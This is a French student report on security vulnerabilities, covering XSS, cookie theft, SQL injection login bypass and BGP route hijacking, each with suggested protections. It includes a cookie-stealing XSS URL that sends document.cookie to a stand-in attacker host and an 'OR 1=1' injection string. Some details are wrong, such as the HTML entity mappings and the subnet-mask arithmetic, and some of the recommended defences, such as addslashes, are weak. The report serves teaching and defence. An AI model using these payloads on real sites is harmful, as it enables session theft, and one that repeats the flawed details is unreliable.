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2 Introduction
2.1 Objectif

L’objectif de ce travail est de faire la démonstration des vulnérabilités des systèmes et d’apporter des méthodes de protection contre celles-ci. Ces méthodes permettront aux administrateurs et utilisateurs de se prémunir contre les faiblesses de leur système et ainsi de mieux protéger leurs données. 
2.2 Motivation 

J’ai choisi ce sujet tout d’abord parce qu’il me passionne depuis longtemps et monopolise une majorité de mon temps. A l’heure actuelle, la sécurité des systèmes est évidemment un élément extrêmement important. 

De plus, je protège actuellement les réseaux de différentes entreprises.

2.3 La démarche suivie

La stratégie suivie dans ce travail sera systématiquement la même pour toutes les descriptions de vulnérabilités :

1) définition et explication du fonctionnement du système,

2) examen d’une faille dans celui-ci,

3) exploitation de la faille,

4) méthodes de protection,
Dans le cadre de ce travail, je ferai appel à des notions de Html (HyperText Markup Language), JavaScript, PHP (Hypertext Preprocessor), C, et Assembleur. Que le lecteur ne se tracasse pas : J’expliquerai les notions essentielles au fur et à mesure des besoins.

RFC (Request for comments) : littéralement demande de commentaires, sont une série numérotée de documents électroniques documentant les aspects techniques d'Internet. Peu de RFC sont des standards, mais tous les standards d'Internet sont des RFC.

La source : 

Définition du mot RFC -> http://fr.wikipedia.org/wiki/Request_for_comments
3 Définitions et explications de base
3.1 Faille ou vulnérabilité.
Dans un réseau informatique, on appelle faille un défaut (connu ou non) d’un des éléments du système.  L’exploitation (volontaire ou non) de ce défaut peut mettre en péril la sécurité ou le fonctionnement d’un système ou d’un programme. 
Le schéma suivant vous présente pour exemple une vulnérabilité sur le protocole SMTP. Ici, on peut voir que pour pirater le serveur mail live.fr, l’utilisateur malveillant crée d’abord sur son propre poste un serveur mail. Son propre serveur mail enverra un message sur le serveur live en se faisant passer pour l’utilisateur eci@hotmail.be.
Figure 1. Exemple d'une vulnérabilité sur un serveur mail.

3.2 Fonction
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Nous ferons régulièrement appel au terme de fonction. Il s’agit d’un ensemble d’ordres accomplissant une tâche et renvoyant un résultat.

Chaque fonction a pour intérêt d’être utilisable plusieurs fois et évite de recopier le même code.

3.3 Où se trouve la faille ?

Dans la plupart des cas, la faille commence dans le code source.
Lorsqu’ils créent un logiciel, les programmeurs utilisent des fonctions toute faite. Le problème est que certaines de ces fonctions peuvent permettre à un utilisateur malveillant de contrôler, modifier ou encore détruire l’information.
Des bibliothèques de fonctions (dll,header,…) sont livrées avec l’OS (API Windows), d’autres, par contre, sont fournies par des concepteurs externes. Une partie de ces bibliothèques sont publiques et donc accessibles à tous. En examinant leur code, on peut voir où se trouvent les vulnérabilités.
4 Vulnérabilités web
4.1 Initiation web**
Internet occupe dans le monde actuel, une place importante. La sécurité des informations qui y circulent est donc primordiale. Beaucoup trop de webmasters oublient ce point qui peut s'avérer extrêmement néfaste (récupération de données personnelles des clients, factures, numéro de compte, adresse, téléphone, etc). Nous allons aborder ici les failles courantes du web, leur explication, leur analyse, leur exploitation ainsi que leur sécurisation.

Mais tout d'abord, qu’est-ce qu'un site web, comment cela fonctionne-t-il ?

Pour avoir un site web, il faut au moins 2 choses essentielles: un client et un serveur.

Le client, c'est vous. Le serveur, c'est une machine avec une adresse IP fixe, connectée sur Internet qui se charge de réceptionner et d'envoyer les pages au client.

Schématiquement ça se passe comme ci-dessous:

Vous -> Envoi d'une demande d'envoi au serveur de la page accueil.html
Le serveur reçoit la demande.

Le serveur vous renvoie la page accueil.html.

Bien entendu, plusieurs dizaines, voire centaines de demandes sont gérées à tout moment.

Voici les principaux langages de programmation utilisés couramment pour le web:

- HTML (Hyper Texte Markup Language): Se définirait comme un langage d'interprétation (un titre, des sous-titres, des paragraphes, etc). Il permet donc de monter la structure d'un site web.

- CSS (Cascade Style): Permet la mise en forme de la page (couleur, police, taille, alignement, etc).

- PHP (Hypertext Preprocessor): Permet d'effectuer des opérations sur un site (calcul, date, heure etc). C'est également le langage utilisé pour l'utilisation des bases de données.

Ils en existent d'autres (comme ASP par exemple) mais nous allons aborder ici les 3 plus courants.

Une différence fondamentale existe entre HTML et PHP.

Tout à l'heure, nous avons vu que le serveur envoyait les pages au client, en fait il les génère plutôt. Une page HTML est fixe, son contenu ne bouge pas. Ce veut dire que si je veux afficher toutes les minutes dans une heure, je devrais faire 60 pages html ? Et bien non, car c'est là que le langage PHP devient utile. En fait le serveur n'envoie que du HTML, il ne le comprend même pas. Par contre, le PHP est une autre histoire ! Dès que ce dernier tombe sur du code PHP, il l'interprète, fait ce qu'on lui demande, et renvoie le tout en HTML.

Exemple:

<?php


echo "Voici du code PHP."

?>

L'instruction ci-dessus demande donc au serveur d'écrire "Voici du code PHP".
Qu'est-ce qu'une base de données ?

Dans la plupart des sites, il y a ce qu'on appelle une base de données. Un système gérant des données contenues dans des tableaux appelés "Table".

Par exemple dans la table membres, nous avons son nom, prénom, adresse, âge, téléphone.

Ces informations sont classées dans diverses colonnes appelés "Champs".

Sur cette base de données nous pouvons effectuer des opérations, exemple:

"Afficher tout les membres dont le nom commence par la lettre P".

Le langage utilisé pour ces opérations est le SQL (Structured Query Language) et l'opération ci-dessus est appelée "requête".

Nous verrons plus en détails à quoi servent ces données et ce que l’on peut en faire.

Le point d’entrée d’une application web est le formulaire.
Un formulaire permet à un utilisateur d’e qui sera ensuite traitée par le serveur. (Formulaire est une entrée vers le serveur) 

Où est la base de données SQL, qu’est-ce que c’est ? 

La base de donnée SQL(Structured Query Language) est un logiciel qui est sur le serveur et qui s’occupe de créer une base de données avec des privilèges sur différents comptes.
Fonctionnement normal (schéma)
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Qui interprète quoi ? 
La base de données SQL interprète du code envoyé par le serveur PHP pour lui dire de faire une action…par exemple : 

« mysql_query(‘ SELECT * FROM vidéo ’) »

Le serveur PHP donne l’ordre à la base de données SQL de « sélectionner tous les champs de la table vidéo » et de lui renvoyer.

Bien sûr avant d’envoyer des ordres à la base de données  il se connecte avec la fonction mysql_connect() à un compte utilisateur exemple :

« mysql_connect("hôte","login","mot_de_passe") »

Hôte : est l’appel à la machine 

Login : est l’identifiant de l’utilisateur

Et par la suite va choisir la base de données avec la fonction PHP nommée mysql_select_db("basededonnées_1") ; 

Le serveur web : 

<form action="index.php" method= "POST">

<input type="TEXT" name="password"/> 

<input type="SUBMIT" value="envoyer"/> 

</form> 

La première ligne crée un formulaire qui « post », dans la page index.php, tout ce qui s’est inscrit dans le formulaire.

La deuxième ligne va créer une variable texte nommée « password ».  
La troisième ligne va créer un bouton pour envoyer les données, sur ce bouton il est écrit "envoyer". 
4.2 Injection XSS (Injection de code JavaScript ou Html)

4.2.1 Explication du fonctionnement,

XSS signifie "Cross Site Scripting", pour la petite anecdote comme le terme CSS était déjà pris, il fallu trouver un autre nom, le X est en fait la traduction de "Cross" en anglais qui signifie "Croix", le terme XSS était donc né.

Le principe de la faille XSS est de devoir faire faire une action au navigateur de la victime (par exemple ici, nous allons gentiment lui demander d'envoyer à notre page piégée les cookies de la pauvre victime qui se demandera ce qui se passe !).

Que vient faire la faille XSS là dedans ? Eh bien nous allons nous servir de cette faille pour aller récupérer ce fichier (qui contiendrait peut-être le login et mot de passe du visiteur !).

4.2.2 Où est la faille,

La XSS diffère un peu car il faut bien comprendre que c'est le navigateur de la VICTIME qui fait le travail. Nous devons juste créer une page qui va récupérer les informations envoyées, et bien sûr s'arranger pour que la victime clique sur notre piège (savoir convaincre est donc une qualité primordiale pour les pirates).

La vulnérabilité ou faille se trouve sur l’affichage du message, si un utilisateur malveillant voulait insérer du code interprété par le serveur comme par exemple du code Javascript ou HTML.

4.2.3 Exploitation de la faille,

Admettons qu'un champ de formulaire nous demande ce que nous voulons rechercher, nous tapons test:

La page suivante nous affiche: "Le mot que vous recherchez est test".

Mais qu'est qui nous empêche de mettre du code HTML ? Par exemple testons ceci: <b>test</b>

N.B: <b></b> est une balise permettant de mettre en gras.

Et là surprise, nous nous attendions à voir <b>test</b> et nous test... en GRAS !

La fonction JavaScript alert() permet l'affichage d'une fenêtre d'alerte. Et bien testons !

Donc dans le champs tapons: <script>alert('Je teste');</script>

Et là surprise, une fenêtre d'alerte avec le message "Je teste" apparaît, le code JavaScript a été exécuté !

Pour la bonne compréhension de ce qui va suivre, un petit tutoriel ne fera pas de mal.

$_GET sert de variables d’url. Une variable d'url, c'est ceci http://www.site.com?index.php?variableurl=test.php

La variable d'url ici est "variableurl", on la reconnaît car elle se trouve dans l'url (d'où son nom), après le nom de la page (on distingue qu'après le nom de la page un "?" le sépare des variables d'url). Cette variable sert à transmettre des informations de pages en pages. On peut la récupérer avec la fonction $_GET['variableurl'].

4.2.4 Méthode(s) de protection
Comment sécuriser ce genre de problème alors ? C'est très simple, il existe une fonction PHP qui lorsqu'elle rencontre des caractères spéciaux, les transforment en entité HTML. Cette fonction, c'est htmlspecialchars

Exemple:

& deviendra &amp;

< deviendra &lg;

> deviendra &lt;

L'intérêt de la fonction est qu'elle fait perdre à ces caractères leur signification donc <script> sera compris comme &lg;script&lt;

Aucune différence à l'affichage, mais pour le navigateur, ce sont 2 choses opposées. Ainsi, le pirate aura beau taper ce qu'il veut, le navigateur l'interprétera comme du simple texte et nom comme des balises.

Remarque: Beaucoup de gens confondent XSS et include. Certes elles ont l'air très semblable et pourtant ne le sont pas du tout.

Quand est-ce que la faille include se produit elle ? Lorsque le serveur inclut la page.

Quand est ce que la faille XSS se produit elle ? Lorsque le navigateur lit la page.

La faille include est du côté serveur, la XSS du côté client (le navigateur).

4.3 Injection XSS améliorée : vol de cookie

4.3.1 Explication du fonctionnement,
Dans un site par exemple, il arrive que l'on vous demande si vous souhaitez enregistrer des informations (comme un login et mot de passe, pour éviter de devoir le retaper à chaque fois, ou bien pour savoir quel design par exemple vous avez choisi etc). Ces informations sont stockées dans un fichier sur votre ordinateur, fichier que l'on nomme communément un cookie.

Cookie : Un cookie permet de conserver les préférences de l’utilisateur, afin de lui éviter de les ressaisir, le plus souvent le cookie est utilisé pour conserver une session. Souvent l’utilisateur non averti utilise sans le savoir des cookies pour retenir ses noms et mot de passe d’accès.

Nous avons affaire à une attaque qui va nous permettre de récupérer les cookies d’une session qui vont nous permettre d’accéder au compte de l’administrateur, qui a des privilèges plus élevés.
4.3.2 Où est la faille
La XSS diffère un peu car il faut bien comprendre que c'est le navigateur de la VICTIME qui fait le travail. Nous devons juste créer une page qui va récupérer les informations envoyées, et bien sûr s'arranger pour que la victime clique sur notre piège (savoir convaincre est donc une qualité primordiale pour les pirates).

La vulnérabilité où faille se trouve sur l’affichage du message, si un utilisateur malveillant voulait insérer du code interprété par le serveur comme par exemple du code Javascript ou HTML.
Mais avec la vulnérabilité d’un vol de cookie, s’additionne une nouvelle faille qui est le non cryptage des cookies par le webmaster ! 
4.3.3 Exploitation de la faille,
Admettons que nous créons un code qui récupère une variable d'url:

<?php


$mavariable = $_GET['lecookie'];

?>

Nous récupérons ici la variable d'url "lecookie".

Pour piéger l'utilisateur, il faudrait donc lui faire visiter la page et avoir au préalable demandé le cookie.

La commande document.cookie affiche le cookie du site visité, et la commande location.replace redirige vers l'adresse indiquée.

Et que donnerait ceci ?

http://www.sitefaillible.com/index.php?recherche=<script>location.replace('http://www.sitedupirate.com/index.php?lecookie='+document.cookie);</script>
Une petite explication s'impose:

Nous recherchons ce qui est indiqué dans la variable recherche. Très probablement, il n'y a aucun résultat. Le navigateur veut donc afficher le mot recherché. Seul problème, il ne va pas comprendre <script> comme un mot sans signification mais comme le début d'un code JavaScript qu'il va s'empresser d'exécuter.

Le navigateur va donc rediriger vers la page du pirate en ayant auparavant affiché le cookie (le rôle du document. Cookie).

Nous pourrions donc avoir une adresse comme ceci par exemple:

http://www.sitedupirate.com/index.php?lelogin=toto&lepass=turlututu

Et comme le code de la page va récupérer les variables d'url (ici "lelogin" et "lepass"), il ne reste plus qu'au pirate qu’à s'arranger pour qu'il reçoive un mail contenant ces informations. Nous savons maintenant que le login est "toto" et le mot de passe "turlututu".

4.3.4 Méthode(s) de protection
Il y a différentes manières de se protéger d’un vol de cookie je vais vous expliquer la plus simple. 

Exemple pensons que le webmaster en question ne connaît aucun algorithme de cryptage permettant de sécuriser les cookies.

La méthode de protection serait de créer un script qui permet de vérifier qui se connecte sur la session de l’utilisateur ou administrateur en sauvegardant son IP dans la base de données et de vérifier s’il correspond, si l’IP ne correspond pas il supprime la session ! 

4.4 Injection SQL (Injection de code SQL) 

4.4.1 Explication du fonctionnement,
Très certainement une des plus utilisées et une des plus redoutables car elle permet d'afficher, d'insérer, modifier ou supprimer des données dans une base de données (et je ne suis pas sûr que l'affichage des login et mots de passes soient fort appréciable). Nous modifions la requête initiale afin de lui faire faire autre chose.

En fait, cette faille est utilisée dans des champs, ou des variables dont les requêtes SQL se servent. En connaissant ce langage on peut très facilement en déduire certaine astuces que les pirates utilisent (dont nous allons voir un exemple plus bas).

4.4.2 Où est la connexion,
Nous avons 2 champs, un champ login et mot de passe, pour se connecter à un site d'administration (interface permettant à l'utilisateur de gérer son site sans avoir à programmer la moindre ligne).

Quand est-ce que la connexion se produit ? Tout simplement quand le login et le mot de passe sont exacts, mais ça veut dire quoi exact ?

En fait, le principe est que nous allons grâce à une requête SQL comparer ce que l'utilisateur a tapé dans les champs et voir si une ligne de la base de données correspond, ce qui veut dire dans ce cas que le login et le mot de passe sont bel et bien les mêmes.

Si l'utilisateur entre le bon login mais un mauvais mot de passe alors nous lui demandons de le retaper.

La requête SQL se présenterait ainsi :
SELECT * FROM t_membres WHERE membre_login = '.$lelogin.' AND membre_pass = '.$lepass.' ;

En français: "Sélectionne toutes les informations du membre si le login est (ce que l'utilisateur aura rentré) et le mot de passe (ce que l'utilisateur aura rentré) 

Nous récupérons le login et le mot de passe dans 2 variables (ici $lelogin et $lepass), que nous comparons aux différentes lignes de la base de données, si une ligne correspond (donc même login ET mot de passe) alors l'utilisateur se connecte.

Nous allons imaginer que le login est "toto" et le mot de passe "lepassdetoto"

4.4.3 Exploitation de la faille,
Nous rentrons ceci dans un formulaire d’un site:

Login: toto

Mot de passe: unpetittest

Le login correspond mais pas le mot de passe, il y a donc une erreur.

Nous remarquons ici l'utilisation d'un opérateur logique, le AND qui veut dire ET (condition 1 ET condition 2. Il faut que les 2 soient vraies). Mais il en existe d'autres comme par exemple celui qui nous intéresse ici: OR (ou, condition 1 OU condition 2, bref une des deux suffit).

A remarquer également ici l'utilisation de simple guillemet pour définir le texte rentré (sinon il prend ça comme un nom de champs et renverra donc une erreur).

Mais notre pirate est malin, ce qu'il entre dans le champ est ce qui est utilisé dans la requête non ?

Qu'est-ce qui nous empêche de taper ceci:

Login: toto

Mot de passe: bazar' test

Regardons la requête:

SELECT * FROM t_membres WHERE membre_login = 'toto' AND membre_pass = 'bazar' test '

Avez-vous fait attention ? Le simple guillemet a provoqué une réaction dans cette requête: il a fermé la variable.

Le seul souci c'est qu'il reste le mot test après et ça le SQL ne le comprend pas (aucune de ses commandes ne s'appelle test !).

Mais n'avons-nous pas parlé d'autres fonctions plus haut ? Comme OR par exemple, et ça il le comprend très bien !

Et rien ne nous interdit de faire un peu de mathématiques non plus.

Tapons donc ceci:

SELECT * FROM t_membres WHERE membre_login = 'toto' AND membre_pass = 'bazar' OR 1=1 #'

Là je peux affirmer que si le site n'est pas protégé, bon mot de passe ou pas, nous nous connectons !

Pourquoi ? Et bien traduisons en français:

" Sélectionne toutes les informations du membre si le login est toto et que le mot de passe est bazar OU BIEN que 1 est égal à 1

Notre ' OR 1=1, eh bien voilà en français ce que ça veut dire "OU BIEN que 1 est égal à 1"

On se connecte si le login est le bon et que le mot de passe est bon OU BIEN que 1 est égal à 1.

Nous avons 2 conditions avec un ou, il suffit qu'une des 2 soient correctes pour que le tout le soit, le mot de passe ne l'est pas mais notre 1 est égal à 1 lui est correct donc => connexion !

Remarquer: le # est utilisé pour faire un commentaire, c'est-à-dire que tout ce qui le suit est ignoré, or le dernier guillemet aurait posé des problèmes, la requête n'aurait pas fonctionné. Il fallait donc s'en débarrasser, d'où l'utilisation du # pour ignorer ce guillemet. Les commentaires servent beaucoup aux programmeurs afin d'y faire des annotations (car il n'est pas simple de reprendre un travail d'il y a plusieurs mois et faisant plusieurs milliers de lignes et de savoir exactement de quoi il en retournait).

Il faut aussi savoir que nous n'avons vu qu'un cas de l'utilisation de ces injections mais qu'il en existe d'autres et pour des actions différentes (par exemple on peut très bien demander l'affichage de tous les login et mot de passe, eh oui c'est réalisable ! Tout comme on peut se créer un compte administrateur avec tous les droits et bien d'autres choses).

4.4.4 Méthode(s) de protection,

Mais alors, comment empêcher cela ?

Nous l'avons vu en partie dans la XSS, il existe des fonctions, prenons par exemple addslashes, qui rajoutent un back-slash ( \ ) devant certains caractères spéciaux (dont vous vous doutez, le guillemet). Ce backslash fait en quelque sorte perdre la signification du caractère, il l'interprète comme du texte pur et simple (attention, il l'interprète, il ne l'ignore pas !)

Un exemple sans protection:

Login l’ami de tom

En requête: membre_pass = 'l' ami de tom

Un exemple avec protection:

Login: l’ami de tom

En requête: 'l\'ami de tom'

Le guillemet a perdu son superpouvoir.

Il faut quand même savoir, et ça certains l'oublient, qu'il y a pas mal d'injections SQL qui ne demandent aucun caractère spécial, et donc que cette protection se retrouve inefficace. Chacun a sa manière de contourner le problème, certains coderont leur script eux-mêmes, d'autres emploieront des "tout-fait tout-prêt", à vous de voir ce qui convient le mieux.

Nous n'avons vu ici qu'une petite partie de ces nombreuses failles, mais avons pu conclure aussi qu'il ne suffit parfois que de très peu pour que des informations soient sécurisées ou non. Sans oublier le nombre de mails piégés, faux liens, fausses adresses, faux compte ebay , paypal, etc qui circulent à tout moment sur la toile.
5 Vulnérabilités réseau
5.1 Initiation Réseau
Dans cette partie, vous trouverez quelques définitions relatives à des termes utilisés dans le domaine du réseau.
5.1.1 Qu'est-ce que le SSTIC ?
Le SSTIC est une conférence francophone sur le thème de la sécurité de l'information, ce qui comprend à la fois les vecteurs d'information (comme les systèmes informatiques ou les réseaux) et l'information elle-même (cryptographie ou guerre de l'information). Il se déroulera à Rennes les 3, 4 et 5 juin 2009. Le SSTIC rassemble les personnes intéressées par les aspects techniques et scientifiques de la sécurité de l'information. Les sujets y sont traités de manière approfondie, didactique et prospective.
5.1.2 AS

L’abréviation AS vient de l’anglais « autonomous system » qui signifie en français « système autonome ». Il s’agit d’un réseau ou groupe de réseaux contrôlé par une administration. Un AS est équivalent à un fournisseur d’accès internet.
5.1.3 Protocole IGP

Les AS utilisent les protocoles IGP (Interior Gateway Protocol). Ces protocoles transmettent les informations de routage entre routeurs de même système autonome.
Parmi les protocoles IGP, on trouve le protocole OSPF (Open shortest path first). Ce dernier nomme un DR (designated router) qui s’occupe de contrôler les connexions entre plusieurs réseaux en envoyant des packets LSP (Link State Packet) pour connaître l'état du réseau.

5.1.4 Protocole EGP
Les protocoles EGP (Exterior Gateway Protocol) servent de passerelles entre les protocoles IGP.

Les protocoles EGP servent à faire communiquer deux AS utilisant des protocoles de routage différents.

5.2 BGP-détournement des flux réseaux

5.2.1 Explication du fonctionnement,
Je vais vous présenter dans ce chapitre  une faille que j’ai découverte l’année dernière en lisant RFC 1771 et RFC 4271. 
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Nous sommes dans la situation suivante (schéma ci-dessus),  

nous avons un ‘Client A’ qui veut communiquer avec un ‘Client B’ pour cela le 

‘Client A’ va envoyer les informations à son fournisseur d’accès internet (Belgacom) qui va les communiquer au ‘Client B’ pour transmettre les informations à travers le réseau. Le ‘Client A’ va utiliser le protocole iBGP (interior Border Gateway Protocol).

Passons au schéma suivant…
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Cette fois notre ‘Client A’ veut envoyer ses informations à un ‘Client B’ qui est chez un autre fournisseur d’accès internet (VOO). Donc notre ‘client A’ va envoyer les informations à travers différents fournisseurs d’accès internet pour arriver jusqu’à VOO ! 

Il devra utiliser le protocole eBGP (Exterior Gateway Protocol). 
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Resituons-nous dans ce schéma, je suis chez moi j’ai un routeur qui a un IP Local (192.168.1.1), et un IP Public (80.200.50.10).

Je veux communiquer avec une personne qui est chez un autre fournisseur d’accès internet. Mon routeur va envoyer les informations chez mon FAI. Pour ça, il va utiliser son IP Public et le protocole iBGP vu précédemment ! 
Nous arrivons au routeur ASBR. Que signifie ASBR ?

D’abord prenons les deux premières lettres AS qui signifie système autonome, ce qui correspond à fournisseur d’accès internet, ensuite BR, qui est la limite de ce système autonome ! 
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Pour que deux fournisseurs d’accès internet communiquent, il faut deux ASBR. Ceux-ci vont utiliser le protocole eBGP vu au début, puis le FAI (VOO) va envoyer les informations au routeur de la personne que j’ai voulu contacter grâce au protocole iBGP.
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 Sur le schéma ci-dessus nous allons voir comment communiquent les routeurs 
 grâce aux tables de routage ! 

Nous avons un routeur ‘A’ qui veut communiquer avec un routeur ‘B’. Pour ça, il va regarder dans sa table de routage et voir que pour atteindre le routeur ‘B’ il va devoir faire 3 sauts ! 

Ensuite le routeur ‘A’ veut communiquer avec le routeur ‘D’, il va voir dans sa table de routage et voit qu’il faudra faire 9 sauts pour arriver jusqu’au routeur ‘D’.

Si maintenant le routeur ‘B’ veut communiquer avec le routeur ‘E’, il va devoir faire la même chose que pour le routeur ‘A’ : il va devoir regarder sa table de routage et voir combien de saut(s) il va devoir faire pour arriver jusqu’au routeur
 souhaiter ! 

Prenons cet exemple : nous avons 3 personnes dans une même pièce. Ils veulent se connaître. Pour ça, ils devront discuter. C’est la même chose pour les routeurs.
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Suite à l’explication sur les tables de routage, nous pouvons maintenant aborder la communication de deux routeurs ASBR (la même technique est employée pour la communication dans un seul FAI). Belgacom veut communiquer sa table de routage au routeur de VOO. Pour se faire, il faudra créer une session TCP sur le port 179 (un port est comparable à une porte dans une maison. La seule différence avec un routeur, c’est que les routeurs ont 65536 ports ! Et certains ne sont utilisés que pour une seule tâche ! ) 

Pour revenir à notre sujet, les deux FAI devront utiliser différentes commandes. 

Le routeur qui veut communiquer sa table devra utiliser les messages :

« Idle, Connect et OpenSent » 

Le routeur qui va recevoir la table devra utiliser les messages suivants :

« Active, OpenConfirm, Established » 
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Rentrons dans le contexte suivant : nous avons un routeur (AS1) qui veut savoir quelle route est la plus courte pour arriver au routeur de destination.
Le routeur en question (AS1) va envoyer à AS4 et AS2 un paquet avec son numéro AS ! 

Ensuite AS4 va envoyer à son tour un paquet à AS5 en rajoutant son numéro AS.
Puis AS2 va envoyer un paquet AS3 et AS3 va envoyer un paquet à AS5. Tous vont rajouter leurs numéros AS, jusqu’à l’arrivée du routeur de destination.
Puis, ils pourront constater quelle AS-PATH à le moins de numéros AS.

Comme nous pouvons le constater, le chemin le plus court pour atteindre le routeur de destination est celui passant par AS4.
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Des fois les FAI préfèrent passer par des chemins plus longs pour éviter  certains FAI, la cause pouvant être le prix, l’insécurité ou des accords commerciaux.

Pour dire aux AS de passer par la route la plus longue, AS1 va envoyer un paquet à AS4 (chemin le plus court) en rajoutant trois fois son numéro AS et AS4 va envoyer le paquet à AS5.

Comme nous pouvons le constater sur le schéma (schéma 8), la route passant par AS4 est devenue la route la plus longue, donc le routeur AS1 va passer par AS2.
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Un autre moyen existe pour éviter une route…

Mais par la même occasion nous allons voir comment le protocole BGP évite les boucles de routage !

Le schéma numéro 9 montre que AS1 va envoyer un paquet AS4, en lui disant qu’il est passé par AS5 et lui-même (AS1). Ensuite AS4 va envoyer le paquet AS5. AS5 voyant que son numéro AS est déjà dans AS-PATH, va éviter une boucle de routage et va donc refuser les paquets ! 

Donc la seule route possible étant celle qui passe par AS2, comme la route passant par AS4 est refusée par AS5. 
(Route : AS2, AS3, [AS5])
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Avant de commencer l’explication de l’attaque, je vais vous expliquer les masques de sous-réseau ! 

Comme vous le voyez sur le schéma ci-dessus, un IP est composé de 32 bits. Dans ces 32 bits, il y a une partie pour le réseau et une partie pour les machines. 

Chaque bit mis à ‘1’ augmentera la partie réseau et chaque bit mis à 0 sera la partie machine, donc on peut en déduire que plus il y a de ‘1’, plus le sous-réseau est grand et moins il y a de machine ! 
Une autre manière de voir les masques de sous-réseau :

‘/22’ signifie que 22 bits de poids lourd sont mis à 1.
(11111111. 11111111. 11111100. 00000000) = 255.255.252.0 

‘/24’ signifie que 24 bits de poids lourd sont mis à 1. 

(11111111. 11111111. 11111100. 00000000) = 255.255.255.0 

‘/22’ est moins prioritaire que ‘24’ car ‘24’  est plus précis. 

(‘/22’ = 765 machines et ‘/24’  = 255 machines)
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Nous voici arrivés à l’attaque ! Comme nous pouvons le voir sur ce schéma, Albert attends que Bernard se connecte. Bernard ayant mis en marche son routeur, son routeur est directement annoncé sur le réseau par un préfixe ‘/22’.
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Ensuite sur le schéma n°12, nous voyons qu’Albert et Bernard communiquent par un logiciel de discussion instantanée. Les informations sont envoyées de chez Albert et passent par AS2 (BELGACOM) vers AS1 (VOO) qui sont ensuite renvoyées à Bernard ! 
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Et voici notre attaquant qui arrive sur le réseau. Il veut écouter les communications entre le routeur d’Albert et celui de Bernard.
Il va commencer par choisir un chemin pour renvoyer l’information détournée au destinataire.

Maintenant notre attaquant va envoyer un paquet disant qu’il est passé par AS1, AS3 et AS4. Ce paquet a comme préfixe ‘/24’  qui est plus précis que ‘/22’. Comme notre attaquant a signalé à AS2 qu’il était passé par AS1 et AS3, celui-ci ne peut plus communiquer avec AS1, donc il va devoir trouver une autre route. Vu que le préfixe (‘/24’) de l’attaquant est plus précis, il va directement choisir celui-ci ! 
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Comme nous pouvons le constater sur le schéma ci-dessus, les informations passent par le routeur de l’attaquant. Celui-ci peut, si les informations ne sont pas cryptées, les lire et ensuite les renvoyer au destinataire, sans que le destinataire ne se doute de quoi que ce soit ! 
Conclusion 

Pour conclure, il est difficilement possible de mettre en place une sécurité pour les raisons suivantes :

Pour mettre en place une alternative au protocole BGP :

· Il faudrait désactiver Internet pendant plusieurs jours.

· Ce projet demande beaucoup d’argent et de personnes qualifiées.

· Et que toutes les administrations (FAI, Entreprise privée…) valident ce projet !
Pour terminer, la meilleure sécurité contre cette attaque serait de crypter les données de différentes manières :

· HTTPS (HTTP +SSL) 

· FTPS (FTP + SSL)
Conclusion
3.1-L’état actuel du travail 

Le sujet n’est pas encore terminé, on est même loin de là. Il reste encore plusieurs vulnérabilités à expliquer : dans les vulnérabilités web comme Include, Buffer Overflow, Upload, Shellcode, dans une image …

Et ça, ce n’est que les failles web, il y a aussi les failles systèmes, les failles applicatives qui sont bien plus complexes que les failles web. La seule partie du sujet qui était un peu plus poussée dans ce sens était « BGP-détournement des flux réseaux ». 

3.2-Traces des pistes pour le futur.

Dans cet article (Sécurité informatique, l’insécurité informatique existe-t-elle ?), je complèterais la partie sur les failles web, et ensuite je rajouterais les failles systèmes et les failles applicatives. 
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5Figure 1. Exemple d'une vulnérabilité sur un serveur mail.


Erreur ! Signet non défini.Figure 2. Code source PHP avec un GET


23Figure 3. Schéma d'un réseau utilisant le protocole BGP
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Heu….  Tu as deux conclusions ? ca ne se fait pas trop d’en avoir deux


BISOUS
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